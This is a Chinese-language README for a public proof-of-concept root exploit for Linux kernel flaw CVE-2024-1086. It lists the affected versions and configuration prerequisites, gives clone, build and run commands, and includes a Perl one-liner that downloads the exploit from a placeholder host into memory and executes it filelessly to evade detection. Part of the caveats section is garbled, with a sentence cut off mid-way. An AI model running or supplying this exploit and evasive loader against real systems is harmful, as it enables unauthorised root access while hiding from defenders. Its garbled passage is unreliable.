针对CVE-2024-1086的通用本地权限提升概念验证漏洞利用程序,适用于大多数v5.14至v6.6之间的Linux内核,包括Debian、Ubuntu和KernelCTF。在KernelCTF镜像中成功率为99.4%。
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
关于该漏洞利用的完整详细分析——包括背景信息和大量有用的图表——可以在Flipping Pages博客文章中找到。
该漏洞利用影响从(含)v5.14到(含)v6.6的版本,不包括已修补分支v5.15.149>、v6.1.76>、v6.6.15>。针对这些版本的补丁于2024年2月发布。底层漏洞影响从v3.15到v6.8-rc1的所有版本(不包括已修补的稳定分支)。
注意事项:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y的v6.4>内核上无效(包括Ubuntu v6.5)CONFIG_USER_NS=y),且这些用户命名空间是非特权(sh命令sysctl kernel.unprivileged_userns_clone = 1),并且启用了nf_tables(kconfig CONFIG_NF_TABLES=y)。默认情况下,这些在Debian、Ubuntu和KernelCTF上都已启用。其他发行版尚未测试,但可能也可行。此外,该漏洞利用仅已在x64/amd64上测试。默认值应在Debian、Ubuntu和KernelCTF的本地shell中开箱即用。在未测试的设置/发行版上,请确保kconfig值与目标内核匹配。这些值可以在src/config.h中指定。如果您在物理内存超过32GiB的机器上运行漏洞利用,请确保增加CONFIG_PHYS_MEM。
如果您通过SSH(进入测试机)或反向shell运行漏洞利用,您可能希望将CONFIG_REDIRECT_LOG切换为1以避免不必要的网络活动。
如果这对您来说不实用,有一个使用默认配置的已编译x64二进制文件。
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
二进制文件:CVE-2024-1086/exploit
运行漏洞利用同样简单:
./exploit
还支持无文件执行,适用于需要避免检测的渗透测试场景。不过,目标上需要安装Perl:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
本软件目录/文件夹/仓库("仓库")中的程序和脚本("程序")仅为教育/研究目的而发布、开发和分发。我("创建者")不纵容对本仓库中程序的任何恶意或非法使用,因为其意图是分享研究,而不是进行非法活动。对于您使用本仓库中的程序所进行的任何行为,我不承担法律责任。